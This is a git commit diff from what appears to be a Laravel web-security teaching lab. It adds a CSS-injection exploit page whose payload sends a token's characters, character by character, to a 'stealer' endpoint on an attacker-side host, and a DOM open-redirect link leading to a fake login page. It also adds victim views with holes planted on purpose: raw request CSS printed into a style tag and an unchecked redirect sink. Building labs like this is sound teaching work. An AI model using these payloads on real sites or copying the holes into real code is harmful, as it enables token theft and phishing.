add two more

This commit is contained in:
mcoder 2026-05-21 21:12:23 +03:30
parent 827ff14935
commit 8d00358b3d
14 changed files with 276 additions and 22 deletions

7
.dockerignore Normal file
View File

@ -0,0 +1,7 @@
.git
vendor
node_modules
.phpunit.cache
storage/framework/cache/*
storage/framework/sessions/*
storage/framework/views/*

View File

@ -44,8 +44,9 @@ public function logStolenData(Request $request)
// متد برای مشاهده لاگ‌ها (پنل هکر)
public function viewLogs()
{
$logs = Storage::exists('stolen_cookies.log')
? Storage::get('stolen_cookies.log')
// اضافه شدن دیسک پابلیک برای هماهنگی با متد ذخیره‌سازی
$logs = Storage::disk('public')->exists('stolen_cookies.log')
? Storage::disk('public')->get('stolen_cookies.log')
: 'هیچ دیتایی سرقت نشده است.';
return view('vulnerabilities.logs', compact('logs'));

0
bootstrap/cache/.gitignore vendored Normal file → Executable file
View File

83
public/tailwindcss.js Normal file

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,39 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSS Injection Exfiltration Exploit</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-slate-950 text-slate-200 font-mono min-h-screen p-8">
<div class="max-w-4xl mx-auto">
<header class="border-b border-red-500/30 pb-4 mb-8">
<h1 class="text-3xl font-black text-red-500">CSS Attribute Exfiltration Lab</h1>
<p class="text-slate-400 text-sm mt-1">Simultaneous extraction via precise cascade rule matching.</p>
</header>
<div class="bg-slate-900 border border-slate-800 p-6 rounded-xl mb-6 shadow-xl">
<h3 class="text-lg font-bold text-yellow-500 mb-2">Stable CSS Multi-Image Payload:</h3>
<p class="text-xs text-slate-400 mb-4">Click the button below. It will bypass CORS and force the browser to log the exact matching characters.</p>
<button id="launch-btn" class="mt-2 bg-red-600 hover:bg-red-700 text-white font-bold py-2.5 px-6 rounded text-sm transition shadow-lg shadow-red-900/20">
Execute Attack (Open Vulnerable Site)
</button>
</div>
</div>
<script>
document.getElementById('launch-btn').addEventListener('click', () => {
const baseC2 = 'https://hackerapp.eitebar.ir/stealer?data=CSS_LEAK_CHAR_';
// پِی‌لود اصلاح شده: استفاده از کاما برای ارسال هم‌زمان تمام تصاویر پس‌زمینه زمان مچ شدن نهایی
const payload = `#secret-token[value^="FLAG"] { ` +
`background-image: url('${baseC2}F'), url('${baseC2}L'), url('${baseC2}A'), url('${baseC2}G') !important; ` +
`}`;
const targetUrl = `https://webapp.kr-rezvan.ir/profile-settings?theme_css=${encodeURIComponent(payload)}`;
window.open(targetUrl, '_blank');
});
</script>
</body>
</html>

View File

@ -0,0 +1,30 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM-based Open Redirect Exploit</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
</head>
<body class="bg-slate-950 text-slate-200 font-mono min-h-screen p-8">
<div class="max-w-3xl mx-auto">
<header class="border-b border-yellow-500/30 pb-4 mb-8">
<h1 class="text-3xl font-black text-yellow-500">DOM-based Open Redirect Phishing</h1>
<p class="text-slate-400 text-sm mt-1">Abusing trusted application domains to forward victims to malicious endpoints via unvalidated JavaScript sinks.</p>
</header>
<div class="bg-slate-900 border border-slate-800 p-6 rounded-xl shadow-xl">
<h3 class="text-lg font-bold text-white mb-2">The Phishing Link Formulation:</h3>
<p class="text-xs text-slate-400 mb-4">The link looks authentic because it starts with the victim's domain, but the JS logic handles the final bounce to the fake page.</p>
<div class="bg-black p-4 rounded text-xs text-amber-400 break-all select-all text-left mb-6" dir="ltr">
https://webapp.kr-rezvan.ir/redirect-gateway?forward=https://hackerapp.eitebar.ir/fake-login
</div>
<a href="https://webapp.kr-rezvan.ir/redirect-gateway?forward=https://hackerapp.eitebar.ir/fake-login"
class="bg-yellow-600 hover:bg-yellow-500 text-slate-950 font-bold py-2.5 px-6 rounded text-sm transition inline-block shadow-lg shadow-yellow-600/10">
Test Open Redirect Attack
</a>
</div>
</div>
</body>
</html>

View File

@ -0,0 +1,28 @@
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<title>تنظیمات پوسته پروفایل | WebApp Victim</title>
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
@if(request('theme_css'))
<style>
{!! request('theme_css') !!}
</style>
@endif
</head>
<body class="bg-slate-100 min-h-screen p-8">
<div class="max-w-md mx-auto bg-white p-6 rounded-2xl shadow border border-slate-200">
<h2 class="text-xl font-bold text-slate-800 mb-4">تنظیمات ظاهر حساب کاربری</h2>
<p class="text-xs text-slate-500 mb-6">در این بخش می‌توانید ظاهر پنل خود را شخصی‌سازی کنید.</p>
<div class="bg-indigo-50 p-4 rounded-xl border border-indigo-200 mb-4">
<label class="block text-xs font-bold text-indigo-600 mb-1">توکن امنیتی بانکی (حساس):</label>
<input type="text" id="secret-token" value="FLAG" readonly
class="w-full bg-white px-3 py-2 border rounded font-mono text-slate-800 outline-none">
</div>
<p class="text-xs text-amber-600 font-sans">توضیح آزمایشگاه: مقدار اینپوت بالا به صورت پیش‌فرض کلمه "FLAG" است. هکر با CSS آن را استخراج خواهد کرد.</p>
</div>
</body>
</html>

View File

@ -144,6 +144,21 @@
<a href="https://hackerapp.eitebar.ir/xs-leak" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
</div>
</div>
<div class="bg-gray-800 rounded-2xl border border-red-500/30 shadow-lg hover:shadow-red-500/20 transition-shadow duration-300">
<div class="p-6">
<h2 class="text-2xl font-bold text-red-400">CSS Injection Exfil</h2>
<p class="text-gray-400 mt-2 mb-4 h-16">Abuse CSS Attribute Selectors to steal sensitive tokens character-by-character via background requests.</p>
<a href="https://hackerapp.eitebar.ir/css-exploit" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
</div>
</div>
<div class="bg-gray-800 rounded-2xl border border-yellow-500/30 shadow-lg hover:shadow-yellow-500/20 transition-shadow duration-300">
<div class="p-6">
<h2 class="text-2xl font-bold text-yellow-400">DOM Open Redirect</h2>
<p class="text-gray-400 mt-2 mb-4 h-16">Exploit unchecked client-side routing logic (DOM Sinks) to execute cross-domain fishing redirects.</p>
<a href="https://hackerapp.eitebar.ir/redirect-exploit" target="_blank" class="block w-full text-center bg-yellow-600 hover:bg-yellow-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
</div>
</div>
</div>
</div>
</body>

View File

@ -6,7 +6,7 @@
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>ورود به حساب | WebApp Victim</title>
<!-- استفاده از Tailwind CDN به جای Vite برای لود تضمینی استایل‌ها -->
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
<style>
body { font-family: Tahoma, sans-serif; }
</style>

View File

@ -0,0 +1,33 @@
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<title>در حال انتقال سیستم... | WebApp Victim</title>
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
</head>
<body class="bg-slate-900 text-slate-100 flex items-center justify-center min-h-screen">
<div class="text-center bg-slate-800 p-8 rounded-2xl border border-slate-700 shadow-2xl max-w-md">
<div class="animate-spin rounded-full h-12 w-12 border-b-4 border-blue-500 mx-auto mb-4"></div>
<h2 class="text-xl font-bold mb-2">در حال هدایت به صفحه مورد نظر...</h2>
<p class="text-xs text-slate-400">لطفاً چند لحظه منتظر بمانید. مرورگر شما در حال بارگذاری داده‌ها است.</p>
<div class="mt-6 text-left font-mono text-[11px] text-yellow-500 bg-black/50 p-3 rounded border border-yellow-500/20" dir="ltr">
<strong>DOM Sink Triggered:</strong><br>
window.location.href = urlParams.get('forward');
</div>
</div>
<script>
// خواندن داده از URL (Source)
const urlParams = new URLSearchParams(window.location.search);
const forwardUrl = urlParams.get('forward');
if (forwardUrl) {
// شبیه‌سازی یک تاخیر کوتاه برای دیده شدن انیمیشن توسط استاد و سپس اجرای سینک مخرب
setTimeout(() => {
window.location.href = forwardUrl; // DOM Sink اصلی
}, 2000);
}
</script>
</body>
</html>

View File

@ -4,7 +4,7 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Our Partners</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
</head>
<body class="bg-gray-100 p-10">
<div class="max-w-2xl mx-auto bg-white p-8 rounded shadow">

View File

@ -5,7 +5,7 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<title>داشبورد کاربری | WebApp Victim</title>
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
<style>
body { font-family: Tahoma, sans-serif; }
</style>

View File

@ -15,6 +15,15 @@
Route::domain('hackerapp.eitebar.ir')->withoutMiddleware([VulnerableHeadersMiddleware::class])
->group(function () {
Route::get('/css-exploit', function () {
return view('hacker.css-attack');
})->name('hacker.css.attack');
Route::get('/redirect-exploit', function () {
return view('hacker.redirect-exploit');
})->name('hacker.redirect.exploit');
// داشبورد اصلی هکر (لاگ‌های سرقت شده)
Route::get('/', [VulnerabilityController::class, 'viewLogs'])->name('hacker.home');
Route::get('/hacker-panel', [VulnerabilityController::class, 'viewLogs'])->name('vulnerability.logs');
@ -113,6 +122,15 @@
Route::domain('webapp.kr-rezvan.ir')
->group(function () {
Route::get('/profile-settings', function () {
return view('user.css-profile');
})->name('user.css.profile');
Route::get('/redirect-gateway', function () {
return view('user.open-redirect');
})->name('user.goto');
Route::get('/', [UserController::class, 'home'])->name('home');
Route::get('/setup-lab', [UserController::class, 'setupLab'])->name('setup.lab');

0
storage/logs/.gitignore vendored Normal file → Executable file
View File